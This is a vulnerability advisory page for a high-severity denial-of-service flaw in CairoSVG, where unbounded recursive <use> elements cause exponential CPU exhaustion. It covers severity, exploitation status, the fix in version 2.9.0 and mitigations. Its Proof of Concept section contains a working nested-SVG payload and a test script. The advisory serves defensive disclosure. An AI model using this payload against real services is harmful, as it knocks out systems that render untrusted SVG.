CairoSVG vulnerable to Exponential DoS via recursive <use> element amplificationGHSA-f38f-5xpm-9r7c
HIGHFix: Kozea/CairoSVG@6dde868GHSA-f38f-5xpm-9r7c is a high-severity (CVSS 7.5) CWE-674 vulnerability in cairosvg. A fix is available for cairosvg — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-f38f-5xpm-9r7c.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
cairosvgReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Kozea/CairoSVG (~300K downloads/week) has exponential denial of service via recursive <use> element amplification in cairosvg/defs.py (line ~335). This causes CPU exhaustion from a small input.
Severity
High — CVSS 3.1: 7.5
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Vulnerable Code
File: cairosvg/defs.py (line ~335), function use()
The use() function recursively processes <use> elements without any depth or count limits. With 5 levels of nesting and 10 references each, a 1,411-byte SVG triggers 10^5 = 100,000 render calls.
Impact
- 1,411-byte SVG payload pins CPU at 100% indefinitely
- Memory stays flat at ~43MB — no OOM kill, process never terminates
- Any service accepting SVG input (thumbnailing, PDF generation, avatar rendering) is DoS-able
- Amplification factor: O(10^N) rendering calls from O(N) input
Proof of Concept
Save as poc.svg and run timeout 10 cairosvg poc.svg -o test.png:
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<defs>
<g id="a"><rect width="1" height="1"/></g>
<g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g>
<g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/></g>
<g id="d"><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/></g>
<g id="e"><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/></g>
</defs>
<use xlink:href="#e"/>
</svg>
Expected: timeout kills the process after 10 seconds (it never completes on its own).
Alternatively test with Python:
import cairosvg, signal
signal.alarm(5) # Kill after 5 seconds
try:
cairosvg.svg2png(bytestring=open("poc.svg").read())
except:
print("[!!!] CONFIRMED: CPU exhaustion — process did not complete in 5s")
Suggested Fix
Add recursion depth counter to use() function. Cap at e.g. 10 levels. Also add total element budget to prevent amplification.
References
Credit
Kai Aizen (SnailSploit) — Adversarial AI & Security Research
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | cairosvg | all versions | 2.9.0pip install --upgrade 'cairosvg==2.9.0' |
Affected Products
cairosvgcourtbouillonDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for cairosvg, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update cairosvg to 2.9.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-f38f-5xpm-9r7c is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
This is an IMPORTANT denial of service vulnerability in CairoSVG, affecting systems that process untrusted SVG input. The flaw allows an attacker to trigger exponential CPU exhaustion through recursive `<use>` element amplification. Red Hat products that include `python-cairosvg` and process untrusted SVG content are…
To mitigate this issue, avoid processing untrusted SVG files with CairoSVG. If processing untrusted SVG content is unavoidable, consider isolating the CairoSVG processing within a sandboxed environment to limit potential resource exhaustion.Source: Red Hat security advisory for GHSA-f38f-5xpm-9r7c (CC BY 4.0)
Frequently Asked Questions
Is GHSA-f38f-5xpm-9r7c in your dependencies?
Find it across PyPI, including transitive dependencies.